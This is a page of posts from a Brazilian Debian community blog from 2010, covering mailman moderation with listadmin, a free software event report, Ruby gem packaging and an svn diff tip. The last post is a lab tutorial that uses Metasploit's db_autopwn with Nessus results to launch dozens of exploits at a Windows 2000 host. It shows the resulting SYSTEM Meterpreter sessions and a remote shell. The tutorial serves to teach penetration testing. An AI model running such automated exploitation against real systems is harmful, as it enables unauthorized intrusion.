Seja bem vind@, se você é um debiano (um baiano que usa debian) faça parte de nossa comunidade!
Listadmin: Administrando as filas do mailman de forma rápida e simples
27 de Outubro de 2010, 0:00 - sem comentários aindaAlém de fazer parte do Sysadmin Team do GNOME também colaboro com o Moderator Team. Esta equipe de 02 pessoas é responsável por moderar todas as 250 listas existentes no Projeto GNOME.
Até pouquissimo tempo este trabalho ultra-chato era feito através do ambiente de gerência Web, só que as coisas estão mudando.
Christer Edwards, atual coordenador dos Sysadmins, recomendou a utilização da ferramenta listadmin. Esta excelente ferramenta facilita a moderação de várias listas de discurssão de forma bastante eficaz através da linha de comando.
Agora vamos ao que interessa:
Instalação
aptitude install listadmin
Configuração
Crie o arquivo .listadmin.ini no diretório home do seu usuário com a seguinte sintaxe:
adminurl – Informe a URL da lista
default – Informe a ação padrão Approve,Reject,Discard,Skip,view Body,Full,jump
log – Informe onde será gravado o arquivo de logpassword – Informe a senha da lista
lista@domain.com – Informe o email da lista
Exemplo:
vim ~/.listadmin.ini
adminurl http://mail.gnome.org/mailman/admindb/gnome-love
default discard
log ~/.listadmin.logpassword senhalista
gnome-love@gnome.org
Altere as permissões do arquivo
chmod 744 ~/.listadmin.ini
Agora é só correr pro abraço
listadmin
[1/1] ============== gnome-love@gnome.org ==============================
From: skovacs@duaa.duke.edu
Subject: Oct 27/10/2010
Reason: Post by non-member to a members-only list Spam? 2
Approve/Reject/Discard/Skip/view Body/Full/jump #/Undo/Help/Quit [D] ?
Submit changes? [yes]
Desta forma a administração das listas do GNOME ficará simples e rápida.
See:
Encontro Mineiro de Software Livre – 2010
24 de Outubro de 2010, 0:00 - sem comentários aindaSemana passada participei pela primeira vez do Encontro Mineiro de Software Livre, realizado na Universidade Federal de Uberlândia. Apresentei um mini-curso de Inkscape e uma palestra sobre softwares livres para edição de vídeo.
O evento teve um público bem pequeno, no entanto foi bem produtivo em debates, conversas e contatos. Pude ver uma muito bem humorada palestra sobre geometria computacional com Ole Peter Smith, dinamarquês e professor da Universidade Federal de Goiás. Outra palestra interessante foi a do Wendell Gonçalves sobre software livre e educação, a qual mostrou alguns pontos de vista sobre esse tema que eu ainda não tinha contato.
Além disso, aconteceram duas boas desconferências. Numa delas, discutimos sobre o conceito de Liberdade no Software Livre. Já no sábado, tivemos a presença de dois integrantes do Circuito Fora do Eixo, os quais afirmaram o interesse ideológico da FdE em migrar para software livre, e discutimos como o movimento software livre pode colaborar para isso. Pra quem não conhece, o Circuito Fora do Eixo é uma rede de coletivos culturais de todo o país que trabalha com princípios como a economia solidária e o cooperativismo.
Outro bom momento foi a palestra do Nighto sobre Open Street Map. Quando voltei pra casa, me cadastrei e já fiz várias contribuições. Uma coisa divertida de colaborar com o OSM é relembrar os lugares em que estive em Uberlândia. Também já fiz algumas edições nos mapas de Aracaju e Salvador.
Gostei bastante do EMSL e agradeço a excelente recepção e atenção da turma que organizou o evento (tivemos até coffee break com pão de queijo!). Disponibilizo aqui os slides da palestra “Análise dos softwares livres para edição de vídeo”. Faça o download dos slides em PDF (585kb) ou em ODP (928kb).
Building a Debian package out of a Rubygems' .gem file
17 de Outubro de 2010, 0:00 - sem comentários aindaThis post is sort of a status update on ongoing work in Debian's Ruby packaging infrastructure, i.e. the tools used to package Ruby libraries and applications (not the Ruby interpreters themselves) for Debian. We have recently added two new utilities to ruby-pkg-tools:
- gem2tgz, a tool to convert .gem files into source tarball suitable for being used as a Debian upstream tarball. This is needed because unfortunately several useful Ruby libraries and applications are only officially released in the .gem format.
- a ruby buildsystem for debhelper, which will automatically build standards-compliant Debian Ruby packages.
To follow the steps in this post, you'll need to build ruby-pkg-tools from the pkg-ruby-extras team subversion repository (e.g., you need ruby-pkg-tools 0.18, which is not in the archive yet). You can also browse the source.
First you have to download a .gem file. Let's took fast_gettext as an example. Enter a temporary directory and download the latest version of the .gem:
$ wget http://rubygems.org/downloads/fast_gettext-0.5.10.gem
Now we need to convert that .gem file into a source tarball to be used by the Debian package:
$ gem2tgz fast_gettext-0.5.10.gem libfast-gettext-ruby-0.5.10.tar.gz
Then uncompress the source tarball, and change to the extracted source directory:
$ tar xzf libfast-gettext-ruby-0.5.10.tar.gz $ cd libfast-gettext-ruby-0.5.10/
Inside the source directory, you need the generate the Debian package files. For now, you'll use good old dh_make:
$ dh_make -f ../libfast-gettext-ruby-0.5.10.tar.gz --single
Then we have an almost "ready" Debian package. It still misses several documentation issues that need manual checking, but for the sake of the example in this post it is good enough already.
I normally remove all the example files dh_make generates for us:
$ rm -f debian/*.ex debian/*.EX
The next step is to change debian/rules so that it will use our custom Debhelper build system. It's just a matter of adding an extra argument for the dh call. The final rules file must look like this:
#!/usr/bin/make -f
%: dh --buildsystem=ruby $@
Now we build the package. I normally use debuild for that.
$ debuild
After the build lintian will complain a lot, because our package has lots of unchanged dh_make boilerplate, but as fas as this post is concerned, the point is that the package will install the code correctly.
You can check the contents of the package with debc, to make sure everything will be where it should. Our custom debhelper buildsystem is installing Ruby libraries to /usr/lib/ruby/vendor_ruby, so it will available to all Ruby versions installed.
Now that the package is built, you can install and test it:
$ sudo dpkg -i ../libfast-gettext-ruby_0.5.10-1_i386.deb [...] $ irb -rfast_gettext >> FastGettext.add_text_domain 'mutt', :path => '/usr/share/locale'; 1
=> 1
>> FastGettext.text_domain = 'mutt' => "mutt" >> FastGettext.locale = 'pt_BR' => "pt_BR" >> include FastGettext::Translation => Object >> _('Delete') => "Remover"
I tried the above with both irb (currently Ruby 1.8's irb) and irb1.9.1 (Ruby 1.9.2's irb), and it worked fine.
This custom buildsystem still misses proper handling for some special cases:
- C extensions. They must be installed under /usr/lib/ruby/vendor_ruby/${RUBY_VERSION}/${ARCH}/
- Libraries that are specific to a single Ruby version. This is the case for example of libraries that got included in Ruby 1.9.x itself but are still useful for Ruby 1.8, or even C extensions that do not compile under Ruby 1.9.x. Those libraries must be installed under /usr/lib/ruby/vendor_ruby/${RUBY_VERSION}/ for pure-Ruby libraries and /usr/lib/ruby/vendor_ruby/${RUBY_VERSION}/${ARCH}/ for C extensions.
- Applications. Normally an application should use a single and well-known Ruby version, e.g. either Ruby 1.8 or Ruby 1.9.2. So that no matter which is the default Ruby version (the one started when ruby is invoked), the application will work the same.
Next steps include providing a dh-make-ruby tool that will convert the extracted tarball into a proper Ruby Debian package. This tool will eliminate the need for all the manual steps listed above after the gem2tgz invocation and before the package build (debuild).
dh-make-ruby will use the Rubygems metadata that gem2tgz puts inside the generated tarball to automatically fill important files in the package, such as debian/control and debian/copyright. It will also generate a debian/rules that is ready to go for most packages. Hopefull the generated source package will also as lintian-clean as possible.
There is an existing implementation of dh-make-ruby out there, which will be surely taken into account when building our own.
There is also lots of documentation that needs to be written/updated, and all help we get will be appreciated.
A better svn diff
6 de Outubro de 2010, 0:00 - sem comentários aindaSince I started using git, every time I need to use Subversion again I suffer. The output of `git diff` is so nice compared to the one produced `svn diff` that it hurts. I've alredy been struggling with that previously.
Now I think I've achieved the perfect solution to make `svn diff` behave just like `git diff`. I've documented it in this post hoping to help other poor souls like me who still have to use Subversion now and then.
Step 1: install colordiff. It's installed on Debian, so the installation required me no effort at all.
Step2 (optional): configure colordiff to use your preferred set of colors. My ~/.colordiffrc contains the following, to match the same colors used by default by `git diff`:
banner=no
color_patches=no
plain=off
newtext=darkgreen
oldtext=darkred
diffstuff=white
cvsstuff=darkyellow
Step 3: create a script to be called by Subversion when running `svn diff`. In my case, I called it svn-diff and stored it in ~/bin (which is in my $PATH), but you can put it in /usr/local/bin or any other directory that is in your $PATH. The contents of ~/bin/svn-diff is the following:
#!/bin/sh colordiff -u -L "${3}" -L "${5}" "${6}" "${7}"
After creating the script, you need to make it executable:
$ chmod +x ~/bin/svn-diff
Step 4: tell Subversion to use your script instead of plain diff on `svn diff`. To do that, locate the "helpers" section in your Subversion configuration file (~/.subversion/config), and set the diff-cmd setting to the name you gave to your custom script (svn-diff in my case):
[helpers]
diff-cmd = svn-diff
There is only one thing missing with regard to `git diff`: the nice pager behaviour. Git invokes that system pager in a way that less will receives the options "-FRSX". These options make less exit imediately if the output fits in one terminal screen and output the ANSI sequences (and thus colors) generated by colordiff in raw format, among other things. I couldn't find a way to emulate this: since `svn diff` will call our custom diff command once for each changed file, we can't call the pager inside svn-diff. A comprimise is doing `svn diff | less -FRSX` , or setting the LESS environment variable to 'FRSX' and doing simply `svn diff | less`.
That's it! Now you can almost forget you are using Subversion (until you need to do some merging).
Usando o Nessus plugin com o MySQL e o db_autopwn no Metasploit
1 de Outubro de 2010, 0:00 - sem comentários aindaNo post anterior apresentei como a integração entre o Nessus e o MSF pode tornar nossa vida bastante interessante.
Agora irei rebuscar os testes usando o MySQL para manter os alvos e suas vulnerabilidades em uma base de dados, explorando-as de forma automatizada com o db_autopwn.
O ambiente dos testes continuará o mesmo:
Host Debian com o Nessus, Metasploit e o MySQL
Host Windows 2000
Pré-requisito para os testes:
Possuir os seguintes itens instalados:
* libdbd-mysql-ruby1.8
* Módulo activerecord ( gem install activerecord )
Preparando o ambiente
Inicei o driver para MySQL no MSF
msf> db_driver mysql
Conectei o banco e criei uma base de dados chamada msf
msf> db_connect msf:******@localhost/msf
Importei o report do Nessus para o banco
msf> nessus_report_get af55d200-77a4-fe0e-7baa-90a11eeab4839ecaf20114aac8b0
Listando as portas apartir da base de dados msf
msf> db_services
Services
========created_at info name port proto state updated_at Host Workspace
———- —- —- —- —– —– ———- —- ———
Fri Oct 01 12:06:03 UTC 2010 ftp 21 tcp open Fri Oct 01 12:06:03 UTC 2010 192.168.0.6 default
Fri Oct 01 12:06:03 UTC 2010 epmap 135 tcp open Fri Oct 01 12:06:03 UTC 2010 192.168.0.6 default
ri Oct 01 12:06:03 UTC 2010 135 udp open Fri Oct 01 12:06:03 UTC 2010 192.168.0.6 default
Fri Oct 01 12:06:03 UTC 2010 netbios-ns 137 udp open Fri Oct 01 12:06:03 UTC 2010 192.168.0.6 default
Fri Oct 01 12:06:03 UTC 2010 smb 139 tcp open Fri Oct 01 12:06:03 UTC 2010 192.168.0.6 default
Fri Oct 01 12:06:03 UTC 2010 cifs 445 tcp open Fri Oct 01 12:06:03 UTC 2010 192.168.0.6 default
Fri Oct 01 12:06:03 UTC 2010 dce-rpc 1025 tcp open Fri Oct 01 12:06:03 UTC 2010 192.168.0.6 default
Fri Oct 01 12:06:03 UTC 2010 dce-rpc 1028 udp open Fri Oct 01 12:06:03 UTC 2010 192.168.0.6 default
Fri Oct 01 12:06:03 UTC 2010 www 5800 tcp open Fri Oct 01 12:06:03 UTC 2010 192.168.0.6 default
Fri Oct 01 12:06:03 UTC 2010 www 5801 tcp open Fri Oct 01 12:06:03 UTC 2010 192.168.0.6 default
Fri Oct 01 12:06:03 UTC 2010 vnc 5900 tcp open Fri Oct 01 12:06:03 UTC 2010 192.168.0.6 default
Fri Oct 01 12:06:03 UTC 2010 vnc 5901 tcp open Fri Oct 01 12:06:03 UTC 2010 192.168.0.6 default
Listando as vulnerabilidades apartir da base de dados msf
msf > db_vulns
[*] Time: Fri Oct 01 12:06:03 UTC 2010 Vuln: host=192.168.0.6 port=5901 proto=tcp name=NSS-19288 refs=
[*] Time: Fri Oct 01 12:06:03 UTC 2010 Vuln: host=192.168.0.6 port=5901 proto=tcp name=NSS-10342 refs=
[*] Time: Fri Oct 01 12:06:03 UTC 2010 Vuln: host=192.168.0.6 port=21 proto=tcp name=NSS-22964 refs=
[*] Time: Fri Oct 01 12:06:03 UTC 2010 Vuln: host=192.168.0.6 port=5900 proto=tcp name=NSS-19288 refs=
[*] Time: Fri Oct 01 12:06:03 UTC 2010 Vuln: host=192.168.0.6 port=5900 proto=tcp name=NSS-10342 refs=
[*] Time: Fri Oct 01 12:06:03 UTC 2010 Vuln: host=192.168.0.6 port=5801 proto=tcp name=NSS-24260 refs=
[*] Time: Fri Oct 01 12:06:03 UTC 2010 Vuln: host=192.168.0.6 port=5800 proto=tcp name=NSS-10758 refs=
[*] Time: Fri Oct 01 12:06:03 UTC 2010 Vuln: host=192.168.0.6 port=5800 proto=tcp name=NSS-10107 refs=
[*] Time: Fri Oct 01 12:06:03 UTC 2010 Vuln: host=192.168.0.6 port=5800 proto=tcp name=NSS-43111 refs=
[*] Time: Fri Oct 01 12:06:03 UTC 2010 Vuln: host=192.168.0.6 port=1028 proto=udp name=NSS-10736 refs=
….
O db-autopwn
O db_autopwn escaneará a base de dados e criará uma lista de módulos específicos para cada vulnerabilidade existente no alvo. A criação destes módulos ocorrerá de 2 formas:
1 – Os exploits serão carregados através da análise da lista de vulnerabilidades. Este tipo de cross-referência depende de alguns padrões como OSVDB, Bugtraq, e CVE para vincular o exploit ao alvo.
2 – Usa portas padrões associadas a cada exploit para localizar os alvos que estão rodando o mesmo serviço.
msf > db_autopwn
[*] Usage: db_autopwn [options]
-h Display this help text
-t Show all matching exploit modules
-x Select modules based on vulnerability references
-p Select modules based on open ports
-e Launch exploits against all matched targets
-r Use a reverse connect shell
-b Use a bind shell on a random port (default)
-q Disable exploit module output
-R [rank] Only run modules with a minimal rank
-I [range] Only exploit hosts inside this range
-X [range] Always exclude hosts inside this range
-PI [range] Only exploit hosts with these ports open
-PX [range] Always exclude hosts with these ports open
-m [regex] Only run modules whose name matches the regex
-T [secs] Maximum runtime for any exploit in seconds
Hora da ação
msf > db_autopwn -p -t -e
[*] Analysis completed in 7 seconds (0 vulns / 0 refs)
[*]
[*] ================================================================================
[*] Matching Exploit Modules
[*] ================================================================================
[*] 192.168.0.6:5800 exploit/windows/vnc/winvnc_http_get (port match)
[*] 192.168.0.6:445 exploit/windows/smb/ms06_066_nwapi (port match)
[*] 192.168.0.6:21 exploit/windows/ftp/filecopa_list_overflow (port match)
[*] 192.168.0.6:21 exploit/windows/ftp/servu_mdtm (port match)
[*] 192.168.0.6:21 exploit/windows/ftp/easyfilesharing_pass (port match)
[*] 192.168.0.6:445 exploit/windows/smb/netidentity_xtierrpcpipe (port match)
[*] 192.168.0.6:445 exploit/windows/brightstor/ca_arcserve_342 (port match)
[*] 192.168.0.6:445 exploit/linux/samba/trans2open (port match)
….
================================================================================
[*] (1/81 [0 sessions]): Launching exploit/windows/vnc/winvnc_http_get against 192.168.0.6:5800…
[*] (2/81 [0 sessions]): Launching exploit/windows/smb/ms06_066_nwapi against 192.168.0.6:445…
[*] (3/81 [0 sessions]): Launching exploit/windows/ftp/filecopa_list_overflow against 192.168.0.6:21…
[*] (4/81 [0 sessions]): Launching exploit/windows/ftp/servu_mdtm against 192.168.0.6:21…
[*] (5/81 [0 sessions]): Launching exploit/windows/ftp/easyfilesharing_pass against 192.168.0.6:21…
[*] (6/81 [0 sessions]): Launching exploit/windows/smb/netidentity_xtierrpcpipe against 192.168.0.6:445…
[*] (7/81 [0 sessions]): Launching exploit/windows/brightstor/ca_arcserve_342 against 192.168.0.6:445…
[*] (8/81 [0 sessions]): Launching exploit/linux/samba/trans2open against 192.168.0.6:445…
[*] (9/81 [0 sessions]): Launching exploit/windows/smb/ms06_066_nwwks against 192.168.0.6:139…
….
[*] (81/81 [0 sessions]): Waiting on 35 launched modules to finish execution…
[*] Meterpreter session 1 opened (192.168.0.3:46168 -> 192.168.0.6:15979) at Fri Oct 01 10:37:39 -0300 2010
[*] Meterpreter session 2 opened (192.168.0.3:43223 -> 192.168.0.6:24353) at Fri Oct 01 10:37:40 -0300 2010
[*] (81/81 [2 sessions]): Waiting on 22 launched modules to finish execution…
[*] (81/81 [2 sessions]): Waiting on 12 launched modules to finish execution…
[*] (81/81 [2 sessions]): Waiting on 11 launched modules to finish execution…
[*] (81/81 [2 sessions]): Waiting on 11 launched modules to finish execution…
[*] (81/81 [2 sessions]): Waiting on 11 launched modules to finish execution…
….
[*] The autopwn command has completed with 2 sessions
[*] Enter sessions -i [ID] to interact with a given session ID
[*]
[*] ================================================================================Active sessions
===============Id Type Information Connection Via
— —- ———– ———- —
1 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ W2KVITIMA 192.168.0.3:46168 -> 192.168.0.6:15979 exploit/windows/dcerpc/ms03_026_dcom
2 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ W2KVITIMA 192.168.0.3:43223 -> 192.168.0.6:24353 exploit/windows/dcerpc/ms03_026_dcom
[*] ================================================================================
Iniciando a sessão
msf > sessions -i 1
[*] Starting interaction with 1…
meterpreter > execute -i -H -f cmd.exe
Process 736 created.
Channel 1 created.
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.C:\WINNT\system32>
Observações importantes:
0 – Isso não é magia é tecnologia1 – Estes testes são de caráter totalmente experimental;
2 – O uso destas ferramentas e ações requerem alguns conhecimentos prévios como:
* Entender sistemas operacionais;
* Entender profundamente o protocolo TCP/IP;
* Entender o funcionamento dos exploits, payloads, shellcodes e etc;
* Entender a dinâmica das causas e os impactos das vulnerabilidades;
* Usar estes conhecimentos de forma ética;